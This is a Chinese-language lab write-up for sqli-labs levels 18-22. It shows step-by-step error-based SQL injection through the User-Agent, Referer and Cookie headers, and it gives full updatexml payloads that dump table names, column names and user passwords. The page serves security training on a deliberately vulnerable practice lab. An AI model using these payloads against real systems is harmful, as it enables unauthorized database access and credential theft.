sqli-labs靶场18-22关(http头)

目录

less18(user-agent)

less19(referer)

less20(cookie)

less21(cookie)

less22(cookie)



less18(user-agent)

这里尝试了多次注入,均没有成功。

但是发现,输入正确的用户名和密码后,会返回user-agent:

User-Agent: a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------未成功注入

User-Agent: a**'or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='**1------成功注入,判断为单引号闭合!

User-Agent: a' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1------爆数据库

这里最后不能用--+和#来截断后面的sql语句,因此使用'1'='1来闭合后面的单引号:

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

User-Agent:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less19(referer)

同样的,只是这里是返回的是referer字段,抓包修改referer字段:

Referer:a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------注入失败

Referer:a' or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='1------判断为单引号闭合

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less20(cookie)

输入正确的用户名和密码后,会返回cookie内容:

抓包,在http history中,找到这个数据包,是GET型传参的数据包:

尝试对数据包中的cookie字段进行注入:

cookie:uname=admin'报错,admin'#不报错,判断为单引号闭合:

并且要么报错,要么显示cookie,那么就利用报错注入:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#------爆数据库:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#爆表名

Cookie: uname=admin'

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#------爆字段名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#------爆数据



less21(cookie)

和20关差不多,只是这里对cookie返回的内容进行了base64加密,并且是')闭合:

抓包,在history中,找到该页面:

只需要在20关的基础上,对传参的内容进行base64编码,就行了:

同样的方法,只是这关判断为')闭合,不在赘述。



less22(cookie)

和20、21两关一样的道理,只是这关是双引号闭合,同样的方法,不在赘述。



相关推荐
计算机学长felix5 分钟前
基于Django的“酒店推荐系统”设计与开发(源码+数据库+文档+PPT)
数据库·python·mysql·django·vue
GBASE25 分钟前
ITPUB专访南大通用——GBase 8s数据库以内核铸根基,以生态赢未来
数据库
GBASE35 分钟前
GBASE南大通用技术分享:构建最优数据平台,GBase 8s数据库安装准备(二)
数据库
林熙蕾LXL1 小时前
SQL Server——基本操作
数据库·sql
GBASE1 小时前
GBASE南大通用技术分享:构建最优数据平台,GBase 8s数据库安装准备
数据库
IOT-Power1 小时前
树莓派 Ubuntu 24.04 开机换源总结
linux·数据库·ubuntu
阿华田5121 小时前
重试框架 -- Guava Retry
数据库
柠檬汁Dev2 小时前
还在等DBA给你库?我3分钟就拉起一个高可用集群
数据库·云计算·dba
安卓开发者2 小时前
鸿蒙NEXT应用数据持久化全面解析:从用户首选项到分布式数据库
数据库·分布式·harmonyos
少男的脸红藏不住心事2 小时前
GD32入门到实战35--485实现OTA
数据库·mongodb·nosql